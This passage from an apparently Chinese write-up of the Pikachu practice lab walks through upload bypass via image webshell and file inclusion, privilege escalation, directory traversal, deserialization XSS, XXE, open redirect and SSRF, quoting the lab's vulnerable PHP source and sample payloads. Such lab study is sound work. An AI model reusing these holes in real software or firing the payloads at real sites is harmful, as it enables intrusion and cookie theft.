function upload_sick($key,$mime,$save_path){$arr_errors=array(1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',3=>'文件只有部分被上传',4=>'没有文件被上传',6=>'找不到临时文件夹',7=>'文件写入失败');if(!isset($_FILES[$key]['error'])){$return_data['error']='请选择上传文件!';$return_data['return']=false;return $return_data;}if ($_FILES[$key]['error']!=0) {$return_data['error']=$arr_errors[$_FILES[$key]['error']];$return_data['return']=false;return $return_data;}//验证一下MIME类型if(!in_array($_FILES[$key]['type'], $mime)){$return_data['error']='上传的图片只能是jpg,jpeg,png格式的!';$return_data['return']=false;return $return_data;}//新建一个保存文件的目录if(!file_exists($save_path)){if(!mkdir($save_path,0777,true)){$return_data['error']='上传文件保存目录创建失败,请检查权限!';$return_data['return']=false;return $return_data;}}$save_path=rtrim($save_path,'/').'/';//给路径加个斜杠if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$_FILES[$key]['name'])){$return_data['error']='临时文件移动失败,请检查权限!';$return_data['return']=false;return $return_data;}//如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去)$return_data['new_path']=$save_path.$_FILES[$key]['name'];$return_data['return']=true;return $return_data;}

用upload_sick()对文件的type进行检查,不是jpg和png图片则不行,不可靠。

3,getimagesize

直接上传图片马,绕过所有的检查

此时图片只是图片,需要联和文件包含漏洞执行文件

源码:

//进行了严格的验证
function upload($key,$size,$type=array(),$mime=array(),$save_path){$arr_errors=array(1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',3=>'文件只有部分被上传',4=>'没有文件被上传',6=>'找不到临时文件夹',7=>'文件写入失败');if(!isset($_FILES[$key]['error'])){$return_data['error']='请选择上传文件!';$return_data['return']=false;return $return_data;}if ($_FILES[$key]['error']!=0) {$return_data['error']=$arr_errors[$_FILES[$key]['error']];$return_data['return']=false;return $return_data;}//验证上传方式if(!is_uploaded_file($_FILES[$key]['tmp_name'])){$return_data['error']='您上传的文件不是通过 HTTP POST方式上传的!';$return_data['return']=false;return $return_data;}//获取后缀名,如果不存在后缀名,则将变量设置为空$arr_filename=pathinfo($_FILES[$key]['name']);if(!isset($arr_filename['extension'])){$arr_filename['extension']='';}//先验证后缀名if(!in_array(strtolower($arr_filename['extension']),$type)){//转换成小写,在比较$return_data['error']='上传文件的后缀名不能为空,且必须是'.implode(',',$type).'中的一个';$return_data['return']=false;return $return_data;}//验证MIME类型,MIME类型可以被绕过if(!in_array($_FILES[$key]['type'], $mime)){$return_data['error']='你上传的是个假图片,不要欺骗我xxx!';$return_data['return']=false;return $return_data;}//通过getimagesize来读取图片的属性,从而判断是不是真实的图片,还是可以被绕过的if(!getimagesize($_FILES[$key]['tmp_name'])){$return_data['error']='你上传的是个假图片,不要欺骗我!';$return_data['return']=false;return $return_data;}//验证大小if($_FILES[$key]['size']>$size){$return_data['error']='上传文件的大小不能超过'.$size.'byte(500kb)';$return_data['return']=false;return $return_data;}//把上传的文件给他搞一个新的路径存起来if(!file_exists($save_path)){if(!mkdir($save_path,0777,true)){$return_data['error']='上传文件保存目录创建失败,请检查权限!';$return_data['return']=false;return $return_data;}}//生成一个新的文件名,并将新的文件名和之前获取的扩展名合起来,形成文件名称$new_filename=str_replace('.','',uniqid(mt_rand(100000,999999),true));if($arr_filename['extension']!=''){$arr_filename['extension']=strtolower($arr_filename['extension']);//小写保存$new_filename.=".{$arr_filename['extension']}";}//将tmp目录里面的文件拷贝到指定目录下并使用新的名称$save_path=rtrim($save_path,'/').'/';if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$new_filename)){$return_data['error']='临时文件移动失败,请检查权限!';$return_data['return']=false;return $return_data;}//如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去)$return_data['save_path']=$save_path.$new_filename;$return_data['filename']=$new_filename;$return_data['return']=true;return $return_data;}?>getmagesize.php文件:
if(isset($_POST['submit'])){$type=array('jpg','jpeg','png');//指定类型$mime=array('image/jpg','image/jpeg','image/png');$save_path='uploads'.date('/Y/m/d/');//根据当天日期生成一个文件夹$upload=upload('uploadfile','512000',$type,$mime,$save_path);//调用函数if($upload['return']){$html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['save_path']}</p>";}else{$html.="<p class=notice>{$upload['error']}</p>";}
}?>

服务器端对文件的上传方式,后缀名,MIME类型,文件图片属性包括大小,尺寸,类型,宽度,高度的具体信息都进行严格的验证,确实挺天衣无缝,但是可以利用前面的文件包含,不管什么格式的文件符合PHP代码规范则会按照PHP解析执行,导致图片马中的<?php phpinfo();?>被执行。

八、越权

1,水平越权

根据提示进行登录,点击个人信息,查看F12的网络包,没有session,修改username的参数值试试,水平越权成功。

源码:

if(isset($_GET['submit']) && $_GET['username']!=null){$username=escape($link, $_GET['username']);$query="select * from member where username='$username'";$result=execute($link, $query);if(mysqli_num_rows($result)==1){$data=mysqli_fetch_assoc($result);$uname=$data['username'];$sex=$data['sex'];$phonenum=$data['phonenum'];$add=$data['address'];$email=$data['email'];

没有将传入的username进行session校验,而是直接使用传入的值查询。

2,水平越权

使用admin管理员登录,发现能进行用户的添加,添加用户,使用burpsuite抓包

添加用户成功,使用pikachu普通用户登录,复制普通用户cookie代替admin的cookie重放数据包

垂直越权成功,普通用户能执行管理员用户添加用户的权限。

源码:

admin.php:$link=connect();
// 判断是否登录,没有登录不能访问
//如果没登录,或者level不等于1,都就干掉
if(!check_op2_login($link) || $_SESSION['op2']['level']!=1){header("location:op2_login.php");exit();
}//删除
if(isset($_GET['id'])){$id=escape($link, $_GET['id']);//转义$query="delete from member where id={$id}";execute($link, $query);
}if(isset($_GET['logout']) && $_GET['logout'] == 1){session_unset();session_destroy();setcookie(session_name(),'',time()-3600,'/');header("location:op2_login.php");}?>admin_edit.php:$link=connect();
if(!check_op2_login($link)){header("location:op2_login.php");exit();
}
if(isset($_POST['submit'])){if($_POST['username']!=null && $_POST['password']!=null){//用户名密码必填$getdata=escape($link, $_POST);//转义$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['address']}')";$result=execute($link, $query);if(mysqli_affected_rows($link)==1){//判断是否插入header("location:op2_admin.php");}else {$html.="<p>修改失败,请检查下数据库是不是还是活着的</p>";}}
}user.php:$link=connect();
// 判断是否登录,没有登录不能访问
if(!check_op2_login($link)){header("location:op2_login.php");
}if(isset($_GET['logout']) && $_GET['logout'] == 1){session_unset();session_destroy();setcookie(session_name(),'',time()-3600,'/');header("location:op2_login.php");}?>login.php:if(isset($_POST['submit'])){if($_POST['username']!=null && $_POST['password']!=null){$username=escape($link, $_POST['username']);$password=escape($link, $_POST['password']);//转义,防注入$query="select * from users where username='$username' and password=md5('$password')";$result=execute($link, $query);if(mysqli_num_rows($result)==1){$data=mysqli_fetch_assoc($result);if($data['level']==1){//如果级别是1,进入admin.php$_SESSION['op2']['username']=$username;$_SESSION['op2']['password']=sha1(md5($password));$_SESSION['op2']['level']=1;header("location:op2_admin.php");}if($data['level']==2){//如果级别是2,进入user.php$_SESSION['op2']['username']=$username;$_SESSION['op2']['password']=sha1(md5($password));$_SESSION['op2']['level']=2;header("location:op2_user.php");}}else{//查询不到,登录失败$html.="<p>登录失败,请重新登录</p>";}}}
?>

根据数据库中的level字段的级别进行判断是admin登录还是普通用户登录,并生成相对应的session存储在服务器端,但是admin_edit进行添加用户时没有对级别level进行判断,导致低级用户重放数据包能进行越权操作。

九、目录遍历

这里只有title的参数能利用了,应该能通过改变title的参数读取到其它的文件。

果然如此,通过修改titile的参数能进行目录遍历读取文件。

源码:

if(isset($_GET['title'])){$filename=$_GET['title'];require "soup/$filename";
}
?>

直接使用了require包含了传入的title参数,跟include一个道理。

include和require的区别如下:

1,include遇到错误产生警告,程序会执行下去,require()会报错,不会再执行程序 。比如require("test.php") echo 1;  include("test.php") echo 1; 如果test.php不存在,include会输出1,require不会。

2,require()会将目标文件内容读入,并且把自身代换成读入的内容,通常用于导入静态的内容,include()则适用于导入动态的程序代码,require是无条件包含,放入一个流程里,无论流程成立与否都会先执行require,include一般放在流程控制的处理部分中PHP程序网页读到include文件时,才读入。

十、敏感信息泄露

源代码中有登录账号,登录后发现是abc.php,直接在url中输出abc.php也能访问,逻辑有问题,没有进行登录验证。可以使用中间件或者在访问用户信息url时候验证用户是否登录,否则返回原页面。

十一、PHP反序列化

反序列化更多的指PHP的魔术方法,不恰当的使用了魔术方法,反序列化的内容用户可以控制,导致了安全问题,常见的模数方法如下:

源码分析:

class S{var $test = "pikachu";function __construct(){echo $this->test;}
}$html='';
if(isset($_POST['o'])){$s = $_POST['o'];if(!@$unser = unserialize($s)){$html.="<p>大兄弟,来点劲爆点儿的!</p>";}else{$html.="<p>{$unser->test}</p>";}}
?><?php echo $html;?>

类S使用了构造函数_construct,通过反序列POST请求o的参数并赋值给html页面。所以输入O:1:"S":1:{s:4:"test";s:39:"<script>alert(document.cookie)</script>";}

对于序列化字符串的解析:O是指一个对象,S是类名称,s:4是字符串有4个字符即test。

序列化的字符串会被反序列后将<script>alert(document.cookie)</script>嵌入了HTML页面,导致了弹窗。

十一、XXE

具体XXE的知识,可以参考https://mp.csdn.net/mp_blog/creation/editor/124788405。

源码:

$html='';
if(isset($_POST['submit']) and $_POST['xml'] != null){$xml =$_POST['xml'];$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);if($data){$html.="<pre>{$data}</pre>";}else{$html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";}
}?>

simplexml_load_string(data,classname,options,ns,is_prefix);将函数转换形式良好的XML字符串转换为SimpleXMLElement对象,LIBXML_NOENT指替代实体,即开启外部实体解析

主要是对外部的实体进行了解析,并且将结果渲染到了HTML页面中,造成了信息泄露。

十二、URL重定向

点击第四个,发现存在变量url,将url的值变成某个网址看看。比如将?url=120.79.29.170会跳转。

源码:

$html="";
if(isset($_GET['url']) && $_GET['url'] != null){$url = $_GET['url'];if($url == 'i'){$html.="<p>好的,希望你能坚持做你自己!</p>";}else {header("location:{$url}");}
}?>

变量url不为i则直接location跳转到url的地址,应当对参数的值判断,不为i则跳到原页面。

十三、 SSRF(服务端请求伪造)

1、curl

url中使用http协议对文件进行读取,SSRF还可以联合file,gopher,ftp等协议对内网进行扫描或者一些信息读取等。

源码:

if(isset($_GET['url']) && $_GET['url'] != null){$URL = $_GET['url'];$CH = curl_init($URL);curl_setopt($CH, CURLOPT_HEADER, FALSE);curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);$RES = curl_exec($CH);curl_close($CH) ;echo $RES;}?>

使用了curl_exec()函数通过PHP对数据进行获取,并且输出返回,明显存在服务端请求伪造,应当对前端的URL进行白名单的过滤。

2,file_get_content

源码:

if(isset($_GET['file']) && $_GET['file'] !=null){$filename = $_GET['file'];$str = file_get_contents($filename);echo $str;
}?>

使用PHP函数file_get_content()读取文件且未进行白名单过滤

总结、

pikachu靶机都是些简单的漏洞,很简单的手法利用,比较适合新手。

Pikachu靶机通关和源码分析相关推荐

  1. Google Mock(Gmock)简单使用和源码分析——源码分析

    源码分析 通过<Google Mock(Gmock)简单使用和源码分析--简单使用>中的例子,我们发现被mock的相关方法在mock类中已经被重新实现了,否则它们也不会按照我们的期待的行为 ...

  2. java.lang.ThreadLocal实现原理和源码分析

    java.lang.ThreadLocal实现原理和源码分析 1.ThreadLocal的原理:为每一个线程维护变量的副本.某个线程修改的只是自己的副本. 2.ThreadLocal是如何做到把变量变 ...

  3. 【原创】【专栏】《Linux设备驱动程序》--- LDD3源码目录结构和源码分析经典链接

    http://blog.csdn.net/geng823/article/details/37567557 [原创][专栏]<Linux设备驱动程序>--- LDD3源码目录结构和源码分析 ...

  4. java校验框架源码解析_Spring Boot原理剖析和源码分析

    Spring Boot原理剖析和源码分析 依赖管理 问题一:为什么导入dependency时不需要指定版本? spring-boot-starter-parent依赖 org.springframew ...

  5. SRS流媒体服务器——Forward集群搭建和源码分析

    SRS流媒体服务器--Forward集群搭建和源码分析 目录 Forward集群原理 RTMP流转发(Forward)部署实例 Forward集群源码分析 1. Forward集群原理 Forward ...

  6. Android RxJava(一) create操作符的用法和源码分析

    RxJava(一) create操作符的用法和源码分析 转载于:https://www.cnblogs.com/zhujiabin/p/7291901.html

  7. 并发编程五:java并发线程池底层原理详解和源码分析

    文章目录 java并发线程池底层原理详解和源码分析 线程和线程池性能对比 Executors创建的三种线程池分析 自定义线程池分析 线程池源码分析 继承关系 ThreadPoolExecutor源码分 ...

  8. android lottie字体json,从json文件到炫酷动画-Lottie实现思路和源码分析

    从json文件到炫酷动画-Lottie实现思路和源码分析,Lottie是最近Airbnb开源的动画项目,支持Android.iOS.ReactNaitve三个平台,本文分析主要Lottie把json文 ...

  9. Nacos高级特性Raft算法以及原理和源码分析

    Nacos高级特性Raft算法以及原理和源码分析 对比springcloud-config配置中心 springcloud-config工作原理 Nacos的工作原理图 springcloud-con ...

最新文章

  1. DL之模型调参:深度学习算法模型优化参数之对LSTM算法进行超参数调优
  2. 【AC Saber】归并排序
  3. PHP代码审计中你不知道的牛叉技术点
  4. c语言程序设计7.4思考题答案,C语言程序设计习题集及答案(7)
  5. 打破情感分类准确率 80 分天花板!更加充分的知识图谱结合范式
  6. NYOJ77 - 开灯问题
  7. Webpack4 学习笔记六 多页面配置和devtool
  8. html5 crop,HTML5内联SVG autocrop空格
  9. atitit groovy 总结java 提升效率
  10. 如何解决缓存与数据库不一致?
  11. python数据标注工具_数据标注|分享9个数据标注工具
  12. j1900 nas安装windows蓝屏,无网卡连不上网
  13. 360校招 求立方体表面积
  14. 导航路径规划之四 路径规划概述
  15. HTML知识基础语法篇(8)
  16. 人工智能传奇——关于AI起源与发展的故事
  17. UFO-ViT:没有Softmax的高性能线性视觉Transformer
  18. 刷脸支付服务商市场空白大有可为
  19. oracle强制停止执行,Oracle强制终止在执行的sql
  20. 西数携全线存储解决方案亮相2014 ISS

热门文章

  1. js打印出的商品发票单(不同地区、商品税)
  2. 是时候和PS说拜拜了,超强发丝级抠图算法开源
  3. AutoCAD如何倒角 倒圆角 倒直角
  4. 自己测试 7zip完爆360压缩
  5. mapState和mapGetters使用方法
  6. 政治生态档案监督管理系统档随人走终身履历制,实现廉政动态监督预警
  7. Java保留两位小数和百分比保留两位小数
  8. 输出100~1000内的所有素数python
  9. 博越服务器下发信息超时,大家好,给大家介绍一下,这是我男朋友@吉利博越...
  10. Element-ui文件上传错误401